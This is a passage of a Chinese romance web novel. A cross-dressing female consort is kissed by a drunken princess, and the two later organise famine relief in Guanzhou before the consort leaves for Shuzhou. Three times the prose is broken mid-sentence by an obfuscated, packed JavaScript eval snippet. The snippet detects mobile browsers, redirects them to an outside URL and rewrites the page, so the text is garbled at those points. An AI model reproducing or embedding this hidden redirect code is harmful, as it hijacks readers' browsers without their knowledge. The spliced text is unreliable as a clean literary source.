其实韩濯在外装得得体端方,本质上孩童心性未泯,穿过来之前也惯喜欢招猫逗狗,这驸马的身份还多少影响了她发挥。 “你知不知道,你方才压到我了。” 宋青瑛抬起了头,迟钝的神经后知后觉反应过来韩濯说了什么,似乎要上前去看看韩濯怎么样了。 “不许过来!”韩濯道,他过来了再像个牛皮糖一样缠上来怎么办? 宋青瑛顿住了,手还停在半空中,眼神暗了下来,似乎还带了点水光。 “完蛋,玩脱了。”韩濯暗道,心里后悔极了,人在喝醉了的时候神经脆弱,自己在这个时候逗他干吗? “你是不是生气了?”他低下头,小声问道。 韩濯的“没有”到了嘴边,拐了个弯,没说是,也没说不是,道:“臣刚才疼死了,殿下,你是不是该补偿补偿臣?” 宋青瑛抬头,慢悠悠道:“是。” 韩濯有些得意,拍了拍床铺:“你先坐好。” 宋青瑛十分乖巧地坐在了韩濯旁边,仰起脸,任人宰割:“怎么补偿?” 公主殿下绝非凡人,巴掌大的小脸简直像玉做的,一点朱砂在灯下氤氲着,瞧着就是天生的矜贵人,此时他面颊染上了一点醉后桃花般的红,掀开眼皮望向韩濯,姿态几乎是引颈受戮。 韩濯突然就卡了壳。 真好看,假人似的,韩濯暗暗感叹了一下,灯火氤氲下,朝他凑近了些。 “殿下不如先说说,为什么替我挡酒?......不许说我不能喝,张大成明显不会真为难我们,我不信你没其他法子。” 宋青瑛皱了眉头,苦苦思索,好像也没思考出什么所以然来。 韩濯不指望他能说出啥了,叹了口气道:“好吧,”随后她心下百转,问道:“那你说说,这些日子以来你一直不对劲,有什么心事?” 宋青瑛吸了一口气,别开了脸。 怎么脸好像更红了,没生病吧?韩濯皱了皱眉,伸手向他额头探去。 是有点热...... “我去叫李三三给你看看?”韩濯起身要走,被宋青瑛一把拽住了。 “别去!” 韩濯回头,对上了宋青瑛的眼神,心一下子就软了,重新坐了回去:“好好好,不去不去,但殿下要跟我说实话。” 宋青瑛纠结坏了,手在衣带上缠来缠去。 “那这样,我问,你说‘是’或者‘不是’,好不好?” 宋青瑛的眼睛中似乎迸射出了一点希望来,迫不及待地点了点头。 “你是不是不高兴?” 宋青瑛点点头,又摇摇头。 这啥意思啊?韩濯满脸黑线,搞什么?是也不是?半夜三更,自己在和公主殿下玩海龟汤? “好吧。”韩濯无奈道:“殿下是不是觉得辛苦?” “不是。”这一次回答得很干脆。 “那......殿下是不是觉得臣哪里不好?”韩濯不由得坐直了些。 宋青瑛很快回答:“不是。” “那殿下的心事是不是和臣有关?” “是。” 韩濯猝不及防紧接着问道:“殿下是不是还有事情瞒着我?” 宋青瑛倒吸了一口冷气。 看来是了。 韩濯盯着宋青瑛:“现在,是不是还不能告诉臣?” 宋青瑛憋得脸更红了,他僵了一会儿,肩膀却忽然松了下来。 似乎呼之欲出。 韩濯突然想起了在墨娘子处宋青瑛那一番关于“圆满”的话,似乎觉得自己找到了关键,越想越觉得有道理,没注意到宋青瑛的神色,追问道:“殿下,你是不是喜欢哪家的小郎君?” 宋青瑛猛地抬头看向韩濯,韩濯竟然从这眼神中看出了三分怒意来,还有点......难过? 这是被自己说中了? 韩濯叹了口气,不知道为什么有点空落落,道:“殿下,你放心,这一点是我姓韩的对不住你,来日方长,我一定不遗余力帮你圆满,感情这事,缘分到了,自会柳暗花......” 她没说下去。 有什么温温软软的东西堵上了她的嘴,带了点桂花香的酒气,若有若无地混着白檀清香。 湿的。 韩濯的大脑嗡地一下一片空白。 她浑身都不听使唤,不知怎么就被压在了床榻上,由着身上的人胡啃。 那人还分外贴心,用手撑出了一段距离,保证碰不到伤处,韩濯忘记了鼻子还有一个喘气的功能,被啃得缺氧。 一开始还毫无章法,可后来,宋青瑛的大脑似乎开始后知后觉地工作了,连带着动作也缠绵起来,不知道是不是回想起来了小黄书里的指导,试探着撬开韩濯的...... !!! 这对吗! 韩濯被吻得眼前发黑,手脚终于和大脑对接上了,她心脏怦怦乱跳,一把推开了身上作乱的家伙,起身喘着气。 宋青瑛被掀翻在地上,低着脑袋,一只手捂着额头,看不清表情。 刚才“咚”得一声,不知道是不是磕到了哪,韩濯张口想问,临了却及时刹住了车。 “吱呀”一声,木门豁然打开,李三三领着阿信闯了进来:“终于把姑奶奶放出来了,你们去......你们怎么回事?” 韩濯心烦意乱,见了李三三仿佛见了救命稻草,糊里糊涂地道:“得罪。”逃也似地跑出了房门。 晨光已经熹微,韩濯在没人的墙角坐了下来,却毫无困意。 到底怎么回事? 不知道自己是女人的时候,公主殿下还算客气,怎么?难道公主天生是弯的?也不是没这个可能,但之前也看不大出来啊?还是说公主听到自己戳穿他的小心思,恼羞成怒给了自己一口恶心人?不对,这也太离谱了,明明最后亲得很上头,还蛮舒...... 韩濯碰了碰自己的嘴唇,呆了一会儿,突然给了自己一巴掌。 想什么呢!韩濯怒气冲冲,自己还回味起来了!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815701|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>韩濯无比确信,自己是一个顶天立地的直女。即使是前世今生见识过无数奇葩的男人,她也只能悲哀地确信,自己生理上还是只能接受和男人发展亲密关系,而现在,她的初吻就这么给了一个未成年小姑娘,虽说不讨厌,但也着实奇怪。 就这么一直耗到了天光大亮,宋青瑛不敢出门,她也不好意思进来,直到坐上了张大成派人护送的车架,她还有点发懵。 张大成最后和李三三道了别,李三三倒也没和他计较,分外洒脱地挥了挥手,张大成深深看了李三三一眼:“姑娘,若你日有有需要,随时来找我,我发誓不会逼你留下。” 李三三银铃一般的笑声响了起来:“如此我就不客气了,逢年过节,来你这蹭顿饭也不错!” “一言为定。”张大成喜道,可随后又遗憾道:“可惜今年中秋......” 李三三无所谓地摆了摆手:“不差这一年,明年中秋,我定来拜访!” “那我就恭候姑娘大驾了。” 阿信一直乖乖跟在吴钩旁边,也不说话,脸上看不出什么表情。听李三三说,周仁在被救下来后几个时辰就辞世了,算得上寿终正寝,临走前把阿信托孤于他们,是希望他的孙儿能跟着有个正经的差事做。 韩濯突然心有所感,想起了墨娘子布下的机关,不经意问道:“阿信,你知不知道墨娘子?” 阿信点了点头,终于开了口:“陷阱是她帮我布的。” 韩濯看他不愿意说话,也不想趁着刚失去亲人的当口追问,只点了点头作罢。 看来这墨娘子虽说是隐居,似乎也并不想脱离尘世,除了灵山村,还不知道管了多少闲事,而她的目的是什么,韩濯还不清楚,不过她倒也不认为墨娘子能靠着高等数学就研究出原子弹把大齐炸了,因此也打算这两日尽快把微积分的知识框架理出来,先寄去一个简纲。 “你怎么了?脸色好差。” 是李三三的声音。 “怎么烧起来了?” 韩濯方才就留了一耳朵听外面的动静,听见这话到底没忍住,掀了帘子。 正对上宋青瑛的眼睛。 他的嘴唇干裂起皮,脸色灰白,看上去就不太好,这回他们不约而同地一个坐车一个骑马,没呆在一处,避免了尴尬,可韩濯越想越觉得自己不是东西,人家那么矜贵的人,泥里水里把自己背回去,还堂堂公主被使唤着干活,亲力亲为照顾自己,就算心是石头也捂热了,再说了,自己骗他在先,难道就因为他亲了自己一口,就避他如蛇蝎?也未免太伤人了。 “无妨。”宋青瑛哑着嗓子道。 “殿下还是上来吧,别贪凉。”韩濯犹豫了一下,还是说出了口。 “我想看看风景。” “你看个屁的风景,给我滚进去!”李三三骂骂咧咧,大显神通,把长宁公主训成了一只鹌鹑。 片刻后,韩濯和宋青瑛坐在此刻显得有些狭窄的车中,尴尬得空气仿佛凝固了。 韩濯有点担心,拿起毯子想给他裹上,手却停在了半空。最后还是放在了他旁边。 “披上吧,出出汗就好了,李三三是这么说的。” 宋青瑛慢吞吞披上了,把自己裹得只剩一双眼睛。 韩濯沉默片刻,还是觉得这么下去不是问题,开口道:“对不住,殿下,我态度实在......” 宋青瑛闭了闭眼:“别这样。” 韩濯抬头看向他,宋青瑛没有睁眼。 “清之忘记吧,昨天我喝醉了,行事乖张,别见怪,日后我们还是像以往那样就好。” 韩濯张了张嘴,心里的石头微微落了下来,却空落落的。 “嗯。”韩濯干巴巴地回道。 31. 尸位素餐 宋青瑛发的一场热不严重,很快就退了,李三三只说是一连几日奔波,心绪起伏过大才烧起来,不是什么大事,韩濯略放下了心。可面对宋青瑛的一路沉默她几次想开口,终究还是没张嘴。 本来话就不多,好不容易两个人一路走来,也算是生死之间来回一趟,反而因为四片肉上下一贴就生分了,韩濯实在有些不是滋味。 或许是张大成派的人真起了作用,这一路到灌州虽然都是山路,却没再起什么波澜。 午时,灌州城内。 “奇也怪哉,这灌州城破败是破败,姑奶奶早就有准备了,可怎么这么多流落街头的流民?”李三三讶异道。 没听说这两年灌州有什么天灾,况且若一州闹什么饥馑人祸,必定是十室九空,大多能跑就跑到外地去了,怎么会像此刻的灌州这样,流落街头的乞儿显得整个城内都有些拥挤。 韩濯倒也希望她知道答案,可为了避嫌,自己和张大成的人早自进城前便分道扬镳,实在找不到能问的旁人。 不远处一声锣响,韩濯抬眼看去,见流民都一窝蜂地拥到了锣响处,很快便形成了一堵人墙,根本看不清里面是什么情况。 韩濯实在疑惑,抓了个看起来还算衣衫齐整的过路人问道:“请问老丈,这响锣是在做什么?” 那人上下扫视了韩濯一眼:“外地来的?” 韩濯口中称是,那人道:“施粥呗,没别的事别拦着我,我回家喊老婆一块来领,省着今晚再自己开火了,别挡道!” 韩濯被一下子挤走,心下疑惑更甚,正要上前看个究竟,却见被人群拥堵的缝隙中,闪出一个身着深青色官服的年轻人,朝韩濯这边走来。 “阁下可是从京城来赴任的韩大人?” 韩濯急忙下车:“正是,敢问阁下是......” 那人眼中迸射出了难掩的喜色:“录事朗祁月,见过韩大人。” “不敢不敢,在下不过是个从八品的散官,何必如此客气。” “韩大人从京城远道而来,再说了,英武侯韩家大齐哪个不知,哪个不晓,怎敢怠慢?” 二人正客气着,朗祁月见了下了马车的宋青瑛,心里有了些猜测,但也没敢确认,迟疑道:“这位......” “这位是公主殿下。”韩濯只别扭了一瞬间,还是开口提醒了一句。 朗祁月张大了嘴,“哎呀呀”惊叹了一阵,手慌得不知到往哪里放,拍了拍衣服上的尘土就要见礼,被宋青瑛扶住了。 “朗大人不必多礼,我只是陪同驸马前来,都是一家人,不用把我当什么公主,太过客气。” 听了“陪同”一词,韩濯的眉毛跳了一下,觉得有点奇怪,但也说不清楚是哪里奇怪,总之心里有点痒痒地悬着,难受得厉害。 朗祁月只在当年中举之时见过圣上一面,他出身寒门,之前从未想过能见到公主这等大人物,同是科考出仕,面对韩濯这活的状元,难免紧张地出了汗,说话都结巴了。再加上这些日子灌州乱成一团,他本就有求于人,此刻见了这两位一等一的好皮相,更觉得韩宋两个仿佛天神降世,简直是救苦救难的活菩萨,不由得热泪盈眶,就差给人跪下了。 “朗大人,我们在这儿说话不合适,敢问刺史大人在何处,我们还是尽快面见大人,下官的告身还未曾......” 韩濯还未说完,朗祁月便叹了口气:“刺史大人早半月前便不在灌州了,韩大人,具体事宜还是先到了府上我再告知。” 朗祁月虽然年轻,办事却十分牢靠,很快便安排好了住宅,虽然不大,饮食起居倒也方便,灌州比不得京城,毕竟穷是穷了些,朗祁月为了找这房子已是费尽心思。即便如此,晚饭时他仍然分外忐忑,不知道这京城来的金贵人会不会嫌厌。 “韩大人太客气了,劳烦您还为我们置办酒宴,实在受之有愧。” 吴钩在韩濯旁边像个柱子一样一言不发杵着,偶尔眨一下眼睛昭示着他还是个活物,李三三带着阿信在末席稀里呼噜地喝汤,动静有点大,韩濯尴尬地抓紧了脚趾。 “哪里哪里,贵人来我们灌州这种小地方,实在是蓬荜生辉。”朗祁月也看出来了,这韩濯倒不是不好说话的京城纨绔,狠狠松了一口气,连带着都没那么紧张了。 “下官实在没想到,公主殿下也能跟着来灌州......” “驸马既然来,我焉有不跟随的道理?”宋青瑛说着,也回敬了朗祁月一杯。 “公主驸马感情这么好,真是令人艳羡。”朗祁月叹道。他们两个坐在一块儿实在养眼,任谁都要讲一句“般配。” 韩濯更尴尬了,赶紧转移话题说正事:“朗大人说刺史大人不在府上,那在何处,下官应当何时拜访,再者为何不见长史大人?” 朗祁月狠狠叹了一口气。 “说来话长。” 说来也巧,这灌州刺史也是新上任不久,一月前从京城来赴任,可这刺史行事做派实在乖张,一开始,朗祁月还只道有些读书人性格乖僻,不足道哉,可谁知此人对于州中协调事务一概不管,全推给了长史林大人和朗祁月来干,长史大人年事已高,本是个应该致仕的年纪,却每日睁着一双浑浊的老眼对着成堆的文书鞠躬尽瘁。 其实本来灌州事务不算很多,可是今年蜀州闹了旱灾,收成不好,偌大一个蜀州的流民全涌进了这个弹丸之地,就为了能讨一口粮食吃。长史是个仁慈人,对这些流民照单全收,可也导致了涌进来的灾民越来越多,眼看着就要难以为继,就在这紧要当口,长史还病倒了。 “长史大人要不要紧?”韩濯问道。 朗祁月摇了摇头,眼神中有些失落。 看来是病得不轻。韩濯暗暗想道。 长史大人病倒后,他难免左支右拙,终于受不了了,跑到刺史那里发作了一同,要他赶紧帮忙想办法收拾收拾烂摊子,没成想刺史却埋怨林长史接纳这么多难民搞得没法收场,要他们自己解决,自己脚底抹油一般溜出了灌州,说是要与蜀州刺史商议大事。 朗祁月崩溃地抱住了脑袋:“他能有什么大事,分明是不想管,我真的没办法了韩大人,林长史年事已高,不知道能不能挺过这一阵子,刺史他临走前还说什么,没人手就找新上任的散官来帮忙,我实在也不愿意麻烦您,但是......” 韩濯听了这一番话,更加觉得这世界是一个巨大的草台班子这种事自古 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14819238|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有之,一时无言。也不知道科举都选出来了什么草包,连带着感觉她这个状元的含金量都降低了。 “敢问朗大人,这灌州的粮仓可还充实?灾民这么多,恐怕不是个办法。” 朗祁月点点头:“岷江流经灌州,这地方虽然小,什么都缺,唯独不缺粮食,可即使如此,也架不住越来越多的流民涌进来。这才刚中秋,马上就要入冬,到那时怎么办?坐吃山空?” 韩濯皱了皱眉,宋青瑛在一旁突然开口:“大人,灾民的名册,籍贯,可曾收录?” 朗祁月愣了一下,连忙答道:“正在收录,可我们人手不够,况且每天都有涌进来的蜀州灾民。” 宋青瑛答道:“我今日在城中,看到大人安排施粥,这个,也是林长史的意思?” “是。” “那敢问大人,您是凭借什么确认这些领粥的人是灾民,而不是本地的百姓?” 韩濯猛然想起,白天那个着急回家带老婆一起占便宜领粥点的人,不由得偏过头,意外地看向宋青瑛。 “这......灾民大多衣衫破旧,还是...认得出来的。” 朗祁月这么说着,声音却心虚地小了下去。 “若是灌州百姓换上旧衣烂衫,在一群灾民当中,朗大人可还分得清?” 朗祁月叹了口气,摇摇头道:“如此说来,殿下的意思是......” 宋青瑛顿了顿,道:“既然灾民名册未曾收录,领粥的人是否从州外来也无从辨认,为什么不把这两件事放到一块办?” 朗祁月也反应过来了:“殿下真乃女中豪杰,聪明颖悟名不虚传,如此说来,只需召集灾民将姓名籍贯全部收录在册,只有在册的灾民允许去施粥铺子去领,如此,不用一个一个地上门登记,他们自己就会会找上门来。” 韩濯忍不住看了韩濯一眼,这个宋青瑛似乎和之前那个自己面前谨小慎微心思敏感的小姑娘不是一个人,方才这一番话条理清晰,思维敏锐,纵使是和他相处了这么长时间,早知道他是个心思通透的,也不由得刮目相看。 “可是,施粥时一个个校对,是不是耗时过长,那些灾民们都饥肠辘辘,怕是等不起。” 宋青瑛道:“只需给登记的灾民发放官府凭据,让他们带着凭据领粥便可。在登记处也可另设粥点,以防饥民出什么意外,另外也可另设凭据补发的事务,这些其余的琐碎,自是另外再提。” “好,好!”朗祁月忙不迭地应道:“就照殿下说的办!我今晚便拟出一个章程来,那这些事务,可否请韩大人帮忙协助一番?” 韩濯忙起身拱手道:“这是自然,乐意效劳。” “之前只听说殿下忠孝仁义,没想到竟然也有如此大才,在下实在是佩服!” 宋青瑛只是自谦,并未多话,也没见有什么多余的表情,韩濯其实也想跟着夸,可他们现在关系还尴尬着,她实在有些进退两难。 宋青瑛现在的状态她之前没见过,韩濯不觉得这样的宋青瑛不好,简直太好了,聪明有胆识敢说话敢拍板,可是未免硬邦邦冷冰冰,韩濯突然觉得被自己像个被已经出息了的孩子遗忘的老妈子,心里酸溜溜,不上不下地难受。 32. 风露中宵 秦岭南北的天气迥然不同,秋日的午时,灌州的太阳依旧毒辣,照得韩濯眯起了眼,额角的汗珠流到了眼睛里,发涩地灼痛。 她面前的书册堆得像小山,宋青瑛的办法好是好,可难就难这在一开始的工作量,一大批流民蜂拥而至,韩濯手中的朱笔都呲了毛,写得手腕酸痛,盖印盖得手松下来时忍不住地抖。更令人头大的是,大多数流民说的都是一口蜀州土话,叽里咕噜听着十分费劲,韩濯一开始一头雾水听不懂,到后来声嘶力竭地对着喊,两个时辰下来已是口干舌燥,额头沁出一片细汗。 韩濯瞬间对下基层扎根群众的公务员们产生了崇高的敬意。 好在此时人已经少了不少,韩濯活动了一下脖子,被人递了一碗绿豆水来。 韩濯抬眼,见是李三三,笑着接过:“怎么今日这么懂事了我的儿?” 李三三瞪了她一眼,在她准备一饮而尽时踩了她一脚,韩濯双手一抖,汤泼在前襟小半碗。 “哎呦,脾气真大。” 韩濯忙不迭用手去擦,被李三三笑着骂了一句“活该。” 一碗解暑的汤下去,韩濯觉得浑身都松快了不少,她道了谢,长长地缓出了一口气。 李三三说道:“不用谢我,又不是我要给你拿的。” 韩濯疑惑地看向她,就见李三三努努嘴,韩濯顺着看过去,刚好看见宋青瑛别开了眼。 “看来心里还是挂念我的。”韩濯心里浮现出的第一个念头竟然是这个,意识到这一点,她苦笑着摇摇头。 宋青瑛换了一身轻便的青色短衫,头发简简单单地挽起来,正在给面前背着孩子的大娘盛粥,此时他褪去了玉簪金钗,整个人无一丝矫饰,倒更显得气度出尘,活脱脱壁画里下凡救苦救难的小神仙。 韩濯盯着他那一截雪一样的腕子看了一会儿,有些恍惚地心道:“明明在京城时,还是个绣罗衣裳,贴金饰银,漂漂亮亮锦衣玉食的娇贵小公主,跟着自己又生病又遭罪,又是被追杀又是进土匪窝,就没怎么见她开心地笑过,病没好多久就来干活,还每天替自己夙兴夜寐地管账......换位思考一下。如果自己养这么个宝贝女儿,突然有一天被一个不靠谱的黄毛拐跑了受苦,自己撕了那黄毛的心都有。” “欸,欸!”李三三见韩濯自顾自发呆,不耐烦地叫道。 见韩濯回了神,李三三叹了口气:“我说,你俩到底怎么回事,又吵架了?果然古话有道理,‘贫贱夫妻百事哀’,之前在西京你俩还那么要好,自从你倒了霉,好像你就三番两次惹人家生气,要我说啊,你还是放放你那......” "别说了!"韩濯有些烦躁地说道。 李三三自觉戳到了痛点,看韩濯这样,更加恨铁不成钢:“我还以为你还有点不同,果然啊,天下男人都免不了这个德行。” 其实这回他俩的矛盾根本不在这,可是李三三说的正巧戳在了此时韩濯的心口上,若是她还是京城里风光无限的状元郎,她自己和宋青瑛,是不是会有更多选择和转圜的余地。 她沉默片刻,突然出口问道:“那怎么办?” 李三三没料到她真的虚心求教,意外地瞧了她一眼:“谁知道怎么办,殿下为什么不高兴?你应该比我清楚啊。” 韩濯问道:“他到底怎么跟你说的?” 李三三确认宋青瑛没继续看过来,开口道:“他没说什么别的。” “不过要不是他拦着,拼命帮你解释,我就要揍你了,我可不是他,还顾着你受伤不受伤,当时我看见他跌在地上,还以为你胆大包天,还没到功高震主的地步呢,就敢打金枝!” 韩濯白了她一眼:“我可没有那么没品。” 再说了,就宋青瑛这样细皮嫩肉的样子,谁下得去手? “出了什么问题,你要主动跟人家说,他是个闷葫芦,难不成还指望他把饺子倒出来给你?” 韩濯觉得有道理,但做起来又谈何容易,不由得深深叹了一口气。 早知道就不推开他了,亲一口又不会死,等他亲完清醒了再好好问问不就成了?该坦白的坦白,如果能掰直就掰直,总不至于像现在这样,给他递一碗汤都需要隔着李三三。 “请问,钱刺史现在可在府上?” 韩濯抬起头,见面前立着一书生打扮的男子,身形清癯,本来生了一副飞扬眉目,却似有难平的愁绪挂碍其间。韩濯起身见礼:“钱刺史此时不在灌州,阁下找钱刺史有何贵干,若事态紧迫,不妨告知在下,或者稍候片刻,晚些时候在下带您去见朗参军。” 那人仍抱希望:“钱刺史大概几时能回来?” 此时,韩濯边上飘过来一声冷笑:“谁知道?说不定钱刺史打算在蜀州过冬呢!” 韩濯回头,见朗祁月不知何时站在了韩濯边上,他面向韩濯时立刻换了一张脸,亲切道:“辛苦驸马爷了,有劳帮我们收拾这没人管的烂摊子。” 韩濯敏锐地察觉到,这两人八成认识。 晚间,刺史府内。 “多谢,没想到灌州也有这样的好茶。” 朗祁月阴阳怪气:“难得,我们这小地方的粗茶淡饭,伺候不了京城的贵人。” “朗兄,陈年往事已经过去,何必这样,让驸马爷看笑话?” 韩濯默默喝茶,竖起耳朵,权当自己不存在。 “有意思,有些事是你说不计较便能不计较的?是了姚申,你们这种人向来脸皮够厚,张阁老的学生嘛,也不奇怪,那钱钧更是尸位素餐草包一个,留下烂摊子自己跑去蜀州巴结长官游山玩水,忒不要脸!” “钱兄绝不是那样的人!也请朗兄更不要妄议在下的师长!” “若是什么罪名只需要一句‘不是那样的人’便能指望旁人信,岂不是乱了套?” 姚申叹了口气,缓缓道:“朗兄,从前的事我的确有错,可钱兄他从未对不起你啊,我实话说了吧,是老师派我来的,三个月了他没有丝毫消息,若是真出了什么事,可怎么办才好?” 朗祁月听了这话也愣住了:“几个月?” “算起来,自他离开京城已是三月有余。” 韩濯和朗祁月对视一眼,皆是有些惊讶。 这西京和灌州虽然隔了崇山峻岭,但说什么用上半月也到了,算起来韩濯因着路遇悍匪受伤,还耽误了四五日,就算如此也仅仅用了十天,三个月前钱钧离京,怎么一个月前才赴任?这中间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841297|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的路途竟然走了两个月么? 朗祁月也有些迷惑,连带着怨气也消解下来。听完二人陈述,姚申皱紧了眉头:“钱刺史此时确实在蜀州么?” 朗祁月道:“蜀州的王刺史来过信,应当不假。” 姚申起身,在屋内踱了几个来回:“钱兄最是尊师重道,照常来讲,刚赴任便会寄给老师信函问候,老师记挂了整整三月,却音信全无,这太反常了,不行,朗兄,驸马爷,我要去蜀州一趟,就此告辞。” “等一下!”朗祁月叫住了他,见他回头,踟蹰了一下便道:“兹事体大,涉及到整个灌州,私人恩怨暂且放一放,我们灌州也需有人与你同去。” 可此时灌州正是最需要人手的时候,该派谁去?其实答案很清楚了,韩濯初来乍到诸多事务不熟悉,再加上她还算是个武官,外派正好,但朗祁月实在不敢开这个尊口去使唤她。 见两道目光都热辣辣地射向了她,再装死似乎不管用了,韩濯只好主动道:“我去吧,若是刺史真是出了什么事,若有危险带上我好歹能抵挡一阵。” 朗祁月喜道:“那便多谢驸马爷!” “那公主殿下,还有劳您多加照顾了。” 朗祁月诺诺应是,韩濯叹了口气,自己这一路来,遇见的一些什么破事,这整个大齐,天底下好像就没什么安生的地方,只期盼她此次跟随姚申不要挂彩便好,她如果再挨上几刀,可未必还能保住一条小命。 正好离开灌州一阵子,让宋青瑛那边先凉一凉,冷静些对彼此都有好处。 从朗祁月那边回来,夜已深沉,宋青瑛的房间里灯还亮着,照理来讲,自己是应该和他道个别的。 韩濯轻手轻脚走到了房门口,做贼一般隔着门看了一会儿。 到底没胆子敲门。 她起先踟蹰着天人交战,可后来不知怎地只是完全放空着发呆,她愣愣地盯着窗纸上宋青瑛精巧的脸部剪影,他应该还在清点灌州近三日施粥的米账,劈里啪啦的算盘声在有些萧瑟的秋风里若隐若现。 夜里冷起来了,也不知道他添衣了没,韩濯想道。 宋青瑛的睫毛很长,韩濯看着模糊的睫毛剪影时不时地上下翻飞,想道:“是了,他从来不需要人操心,以往都是他提醒着我穿这个穿那个。” 后日就是中秋了,自己不在,也不知宋青瑛怎么过,灌州不比西京,没有热闹的花市,也没有文人墨客题词吟诗,他这是第一回离开京城,过一个无法团圆的中秋,他心里会不会不好受? 宋青瑛站了起来,似乎活动了几下肩膀,韩濯猛地从胡思乱想中惊醒,在宋青瑛推开窗户之前迅速躲在了柱后。 他在窗边看了很久的月亮。 韩濯靠在柱子上,不知道在想什么,几棵古槐的影子投在庭下,如同水中藻荇。 宋青瑛看了多久,韩濯就站了多久。 月光清亮。 最后,他好像轻轻呼了一口气,听起来叹息似的。 窗户合上了。 韩濯终究还是没推开那扇门,她又站了一会儿,等屋内的灯火彻底熄了,才轻轻悄悄地离开。 而一包油纸包的桂花酥,则静静躺在了宋青瑛的房门前。 33. 朱门酒肉 “韩兄是有心事?” 从灌州到蜀州,总共不过才一日的路程,二人策马而行,一路来也渐渐熟识了。姚申见韩濯一路上常常若有所思愁眉不展,忍不住问道。 韩濯苦笑:“不过是私人的一些小事,倒教姚兄发觉了,实在惭愧。” “哦?”姚申有些讶异:“韩兄何必如此客气,只是没想到像韩兄这般的人物,也会为情之一字所困?” “都是肉体凡胎的俗人,哪里.....欸?” 不对,刚才自己哪个字提到自己这是有感情问题了? 这姚申看着文文静静,怎地如此狡猾。 韩濯无奈地看向姚申:“姚兄,你这真是......” 姚申嘴角带了一抹笑意,让他整个人看起来都年轻了不少。赶了许久的路,二人都有些疲累,姚申干脆拢起袖子,信马由缰:“韩兄若是信得过在下,不妨和在下说上一说,心里说不定会痛快些。” “我们是来办正事的......” “保证不告诉公主殿下。” ...... 韩濯无奈地停下马:“姚兄还是别瞎猜了,在下可没什么红颜蓝颜知己,再者说,”韩濯冲他挑眉道:“我不也没有追问姚兄你和朗参军的往事么?” 姚申不知是一路上实在无聊还是怎么,叹了口气道:“韩兄若是想问,也没什么大不了的,我和朗参军曾经是实打实的同窗,感情十分亲厚。” ? 韩濯觉得这人真是世所罕见,不知道是不是无聊坏了,竟然自顾自讲了起来。 “姚兄,算起来我以后还要和朗参军共事,你们之间的事情说给我听,思有不妥吧。” “无妨无妨,此事的确是我对不住他,我讲出来,多少还好受一些。” 饶是韩濯,此刻也不由得被八卦勾起了兴趣。 姚申见韩濯不再有异色,便也沉吟片刻,将往事娓娓道来。 朗祁月其实也是西京人士,和姚申在书院做了四年同窗好友。在读书时,二人皆天资聪颖,所著的策论常被同窗拿去传阅,堪称一时瑜亮。 二人同年科考,朗祁月高中二甲十一名,姚申却名落孙山。 都是不分伯仲的少年英才,一夕之间拉开如此大的差距,谅谁心里也不会如何平衡,听着朗祁月的劝慰,姚申却只觉得往日亲切的好友如今高高在上,一副惹人生厌的嘴脸,话也说得重了些,二人不欢而散。 可就算如此,多年的情分毕竟在,不可能因为这一点小事从此便天涯陌路,姚申事后也心生悔意,却始终拉不下脸来,只好摒弃杂念,愈发勤奋,盼着终有一日能金榜题名,日后和朗兄共事,心中未尽之言再说不迟。 可没等到他他年折桂步蟾宫,朗家便出了事。 朝中两派相争,朗祁月的父亲纵使只是一个小礼官,也被卷进去拉下了水,年轻气盛时的文章被翻出来,捏了个“暗讥圣人”的罪名,被捕入狱。 朗祁月四处奔走求告,甚至放下面子找到了姚申这边,盼着姚侍郎能出面求一求情。 “不怕驸马笑话,我当时不觉着朗伯父有什么大事,心里对他的担忧是事实,但有那么一点痛快,也是事实。” 韩濯意外地看了姚申一眼,若说自己倾听他二人的往事已是算是越界,现在姚申的这一番话,已称得上交浅言深了。 “人之常情。”韩濯摇摇头道。 又怕兄弟苦,又怕兄弟开路虎,古往今来不过就是这些事。 此时朝中人人自危,谁还愿意为了一点义气冒这个风险?姚尚书自是没有答应。 事实证明,朗祁月的父亲的确被放出来了,可是年老体衰,在狱中感染风寒,没过多久便与世长辞。 朗祁月以丁忧为由,辞官离京,带着父亲的灵柩回到老家灌州安葬,从此以后,京中再也没有朗祁月的消息。 “那姚兄当时,没有考虑去灌州找他?”韩濯问道。 姚申苦笑:“我已没脸见他了。” 就在朗父去世之时,姚申进士及第,拜的师,就是当初弹劾朗父的内阁学士张阁老。 这未免是在人伤处捅刀了。 “若不是昨日在灌州见了他,我还不知道他在这儿做了参军,也好,离开官场的明枪暗箭,又有家乡父老帮衬,胜过锦衣玉食。” 明明这两人怕是都一个德行,就算是好话,这种情况下说出来也必然会有种高高在上的欠揍感。 可韩濯很快就不这么觉得了。 “我自觉对不住他,这个仕途,我也再不想走,只留在京城做个闲散文人便罢。” 